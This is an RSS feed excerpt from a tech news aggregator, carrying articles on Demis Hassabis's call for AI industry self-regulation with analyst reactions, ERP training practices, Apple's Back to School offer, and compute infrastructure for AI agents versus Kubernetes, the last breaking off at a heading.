<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepMind CEO pushes for AI industry self-regulation]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national secu...]]></description>
<link>https://tsecurity.de/de/3673451/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673451/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</guid>
<pubDate>Thu, 16 Jul 2026 14:33:34 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. </p>



<p class="wp-block-paragraph">DeepMind was involved in an earlier <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">US government initiative evaluating AI safety</a>, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



<p class="wp-block-paragraph">Gogia added that the rules enacted by even such a group may not address all of the key concerns of enterprise IT. A US government effort along the lines that Hassabis is proposing would result in testing that “sits close to intelligence and industrial policy, and those functions will not stay neatly separated. A model can pass every catastrophic-risk test and still fail the enterprise on privacy, reliability, and liability,” he noted.</p>



<p class="wp-block-paragraph">Walmart’s former director of cybersecurity <a href="https://www.linkedin.com/in/steveneric/" target="_blank" rel="noreferrer noopener">Steven Eric Fisher</a>, who is now an independent cybersecurity consultant, said he found the proposal “well-intentioned, but it addresses a highly polarized topic at a time when commercial interests carry unprecedented political influence, which is not always applied benevolently.”</p>



<p class="wp-block-paragraph">He added, “an exclusive US standard that is not globally respected or enforceable would likely fail to achieve its core purpose and would place US companies at a competitive disadvantage.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, said that a deep dive into how <a href="https://www.finra.org/" target="_blank" rel="noreferrer noopener">FINRA</a> operates today is illustrative of what IT leaders can expect from this effort, assuming the industry adopts that model.</p>



<p class="wp-block-paragraph">“When the CEOs of the five companies that would be regulated are also the primary drafters of the standards, the standards will reflect those companies’ interests. FINRA has an independent board, but the operational reality is that member firm perspectives dominate the working groups that write the actual rules,” he said. “There is no reason to expect an AI equivalent to work differently, and every reason to expect it to work worse, because AI standardization is happening faster than any industry has ever attempted to standardize itself, and speed is the enemy of independent oversight.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/carmi/" target="_blank" rel="noreferrer noopener">Carmi Levy</a>, an independent technology analyst, was even more emphatically opposed to the Hassabis proposal.</p>



<p class="wp-block-paragraph">“Asking Big Tech companies to self-police is analogous to allowing foxes to guard the henhouse. It hasn’t worked to date, and it won’t work going forward. Expecting these organizations to somehow change their ways at this point in time represents the height of naïve thinking,” Levy said. “The framework proposed by Demis Hassabis is a self-serving roadmap for an industry bent on racing to the AI horizon regardless of the harms caused along the way. It is impossible to quantify the dangers to broader society should frameworks allowing self-regulation become the norm.”</p>



<h2 class="wp-block-heading">Some love the proposal</h2>



<p class="wp-block-paragraph">An almost completely opposite stance came from <a href="https://www.linkedin.com/in/yurigoryunov/" target="_blank" rel="noreferrer noopener">Yuri Goryunov</a>, CIO of consulting firm Acceligence, who applauded the proposed move.</p>



<p class="wp-block-paragraph">“This is one of the rare setups where industry self-regulation has a real shot, and enterprise IT should be enthusiastically rooting for it,” he said. “It fails when harms are externalized, such as in social media content moderation. Or when the overseer outsources judgment to the overseen, such as the FAA’s delegation to Boeing before the 737 MAX. It works when everyone in the industry shares the catastrophic downside.”</p>



<p class="wp-block-paragraph">He suggested, however, that the best precedent here isn’t FINRA, it’s INPO, the Institute of Nuclear Power Operations, which the nuclear industry created within months of the <a href="https://www.nrc.gov/reading-rm/doc-collections/fact-sheets/3mile-isle" target="_blank" rel="noreferrer noopener">1979 Three Mile Island partial reactor meltdown</a> “on the logic that an accident anywhere is an accident everywhere. INPO peer-reviews every US plant, its evaluations move insurance premiums, and it sits on top of the NRC’s statutory floor. That is a public-private stack very close to what Hassabis is describing. Frontier AI has the same structure: one lab’s catastrophic failure brings regulation down on all of them.”</p>



<p class="wp-block-paragraph">For enterprise CIOs and other IT executives, Goryunov said, that model has the potential for being a big win.</p>



<p class="wp-block-paragraph"><strong>“</strong>Today, every enterprise duplicates the same AI diligence of red-teaming, eval suites, governance committees and each does so with less information than any certifying body would have,” Goryunov said. “A credible standards regime does for AI what UL did for electrical equipment and SOC2 did for cloud: it converts an unknowable risk into a procurable product and gives boards a defensible standard of care. That’s not red tape. That’s peace of mind with an audit trail.”</p>



<p class="wp-block-paragraph">However, Mahapatra said, “the countervailing view is that the alternative to industry-led standards is probably not thoughtful legislation. It is probably no standards, or state-by-state fragmentation, or the current pattern of ex-post enforcement actions where regulators surface concerns years after harm has already occurred.” </p>



<p class="wp-block-paragraph">Thus, he noted, “Hassabis is making the reasonable argument that imperfect fast standards are better than perfect slow ones, and there is genuine merit to that view for topics like agent identity, evaluation methodology, and interoperability, which are exactly the areas <a href="https://www.computerworld.com/article/4196365/openclaw-becomes-a-nonprofit-foundation-as-it-seeks-to-be-the-switzerland-of-ai.html" target="_blank">OpenClaw is also targeting</a>.”</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4197497/deepmind-ceo-pushes-for-ai-industry-self-regulation.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why your ERP training program is failing your employees]]></title>
<description><![CDATA[I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the s...]]></description>
<link>https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673041/it-security-nachrichten/why-your-erp-training-program-is-failing-your-employees/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:40 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have sat in a lot of ERP training sessions over the years. Some were excellent. Most were not. And the ones that failed share a pattern I have come to recognize almost immediately: a vendor trainer at the front of the room, working through the same slide deck they use for every client, at the same pace, with the same examples, regardless of who is sitting in the chairs.</p>



<p class="wp-block-paragraph">In one room, you might have a warehouse supervisor who has never used enterprise software, a finance manager with 20 years of system experience and a department coordinator somewhere in between. The vendor trainer covers the same material with all of them. Everyone gets a certificate at the end. Almost nobody is prepared to do their job in the new system when go-live arrives.</p>



<p class="wp-block-paragraph">I want to be clear about something before I go further. In my previous CIO article, I wrote about why organizations should <a href="https://www.cio.com/article/4181808/stop-blaming-your-erp-vendor.html">stop blaming their ERP vendor when implementations fail</a>. That argument still stands. But the training problem is a choice the organization makes. <a href="https://ecosire.com/blog/erp-user-training-best-practices-guide">Most organizations spend less than 5% of their total ERP project budget on training</a> and then hand that underfunded responsibility to the vendor. The vendor delivers what they were contracted to deliver. The gap between what got delivered and what the organization actually needed is not the vendor’s fault. It is a decision the organization made, often without fully understanding its consequences.</p>



<p class="wp-block-paragraph">After 25 years of leading enterprise software implementations and based on the doctoral research I conducted studying ERP implementations in small businesses, I am convinced that the organizations that get training right share one thing in common: they build the expertise internally rather than importing it.</p>



<h2 class="wp-block-heading">Why vendor training falls short</h2>



<p class="wp-block-paragraph">Vendor trainers know the software. That is not in question. What they do not know is your business: your processes, your workflows, your data, your terminology, your culture and the specific ways your organization will use the system once it is live.</p>



<p class="wp-block-paragraph">That gap matters more than most organizations realize. <a href="https://www.prosci.com/blog/why-do-erp-implementations-fail">Research consistently shows that inadequate training is one of the primary drivers of ERP implementation failure</a>, not because training did not happen, but because the training that happened did not connect the system to the work. Employees left those sessions knowing what buttons to click without understanding why those buttons mattered to their specific job.</p>



<p class="wp-block-paragraph">Generic training has a structural problem: it is optimized for coverage, not relevance. The goal is to ensure every employee has seen every feature. The result is that employees spend significant time learning functionality that does not apply to their role, while the functionality that does apply gets the same shallow treatment as everything else.</p>



<p class="wp-block-paragraph">A finance manager sitting through a session on shop floor production tracking is not learning anything she will use. A warehouse supervisor learning about financial journal entries is in the same position. Both leave the session technically trained. Neither leaves prepared.</p>



<p class="wp-block-paragraph">There is also a timing problem. Vendor training typically happens in a compressed window before go-live, delivered as a series of sessions rather than a progression. Research on learning retention suggests that training delivered weeks before it is needed, without reinforcement or practice, is largely forgotten by the time employees need to apply it. The result is a go-live day where everyone attended training and almost nobody feels ready.</p>



<h2 class="wp-block-heading">What internal expertise looks like in practice</h2>



<p class="wp-block-paragraph">In my doctoral research, I interviewed six IT managers from small businesses who had each led successful ERP implementations. Five of the six identified role-based, department-specific training as essential to their outcome. What distinguished their approach was not that they spent more on training. It was that they built the training capability inside the organization rather than contracting it out.</p>



<p class="wp-block-paragraph">The approach that worked most consistently was identifying one person from each affected department early in the implementation, before configuration even began. That person became the departmental expert: involved in design decisions, consulted on how their team’s processes mapped to the new system and ultimately responsible for either delivering training to their colleagues or co-leading it alongside a formal trainer.</p>



<p class="wp-block-paragraph">This is sometimes called a super user model, and the research supports its effectiveness. But what I observed in the implementations that worked goes beyond the mechanics of the model. The departmental expert brought something a vendor trainer cannot: credibility. When the warehouse supervisor learns the receiving process from someone who has worked in that warehouse, who understands the exceptions and the edge cases and the way things truly flow on a busy day, the training resonates in a way that a generic session never can.</p>



<p class="wp-block-paragraph">There is also an ownership dimension that is easy to underestimate. <a href="https://www.workday.com/en-us/perspectives/hr/erp-training-tips-best-practices.html">Peer-based training led by internal super users helps employees connect system steps to their daily responsibilities</a> in ways that outsider-led training rarely achieves. The departmental expert has skin in the game. They are going to use this system too. That shared stake changes the dynamic in the training room and sustains the support relationship long after the formal training is over.</p>



<p class="wp-block-paragraph">I have seen this play out in both directions. In implementations where the organization invested in building internal expertise early, go-live day was hard but manageable. Questions went to the departmental expert, who could answer them in the language of the department. Issues surfaced quickly because someone in each area was watching for them. Adoption stabilized faster because the support was embedded in the team rather than accessible only through a help desk ticket.</p>



<p class="wp-block-paragraph">In implementations where training was handed entirely to the vendor, the pattern was different. Go-live revealed gaps that training had not covered. The vendor’s support engagement was winding down. The organization had no internal expertise to draw on. Employees reverted to workarounds. The system went live but never fully took hold.</p>



<h2 class="wp-block-heading">How to build internal training capability before go-live</h2>



<p class="wp-block-paragraph">The organizations that got this right did not wait until the training phase to think about training. They started building internal expertise at the beginning of the project. Here is what that looked like in practice.</p>



<h3 class="wp-block-heading">Identify departmental experts early</h3>



<p class="wp-block-paragraph">Select one person from each affected department before configuration begins. Choose people who are respected by their colleagues, have a solid understanding of their department’s processes and are willing to invest extra time in the project. This is not a small ask. Make sure they and their managers understand the commitment and that the contribution is recognized.</p>



<h3 class="wp-block-heading">Involve them in the implementation, not just the training</h3>



<p class="wp-block-paragraph">The departmental expert should participate in process design sessions, configuration reviews and user acceptance testing. By the time training begins, they should understand the system deeply enough to explain not just how it works but why specific decisions were made. That context is what makes internal training credible.</p>



<h3 class="wp-block-heading">Design training around the job, not the system</h3>



<p class="wp-block-paragraph">Training content should be organized around realistic work scenarios specific to each department, not around the system’s feature set. The finance team trains on how to process their transactions in the new system. The warehouse team trains on how to manage their receipts and inventory. Connect every step to the work employees actually do.</p>



<h3 class="wp-block-heading">Plan for post-go-live support, not just pre-go-live training</h3>



<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's Back to School offers have started, but you can do much better]]></title>
<description><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.Apple's lates Back to School offer is now live - image credit: AppleEven when it isn't raising prices, it is a rule with Appl...]]></description>
<link>https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</guid>
<pubDate>Thu, 16 Jul 2026 11:55:28 +0200</pubDate>
<content:encoded><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67772-143897-000-lead-Back-to-School-xl.jpg" alt="Two colorful stylized tablets float on a black background, one with yellow feather-like pattern, one with purple folds, surrounded by cartoon icons including a hand, eyes, starburst, and small Apple logo" height="720"><br><span>Apple's lates Back to School offer is now live - image credit: Apple</span></div><br>Even when it isn't <a href="https://appleinsider.com/articles/26/06/25/apple-confirms-price-nikes-across-macs-ipads-and-more">raising prices</a>, it is a rule with Apple that it will never actually have sales on its products, except for certain <a href="https://appleinsider.com/articles/24/05/08/march-iphone-discounts-in-china-may-have-saved-apples-quarter">regular promotions</a> in China. So for this latest deal, it is again falling back on offering Apple gift cards alongside selected products.<br><br>So when a user buys one of these devices, they get a gift card that amounts to money off their next purchase. Consequently if someone knows they need two Apple devices, they can get money off the second one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/apples-back-to-school-offers-have-started-but-you-can-do-much-better?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244970?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



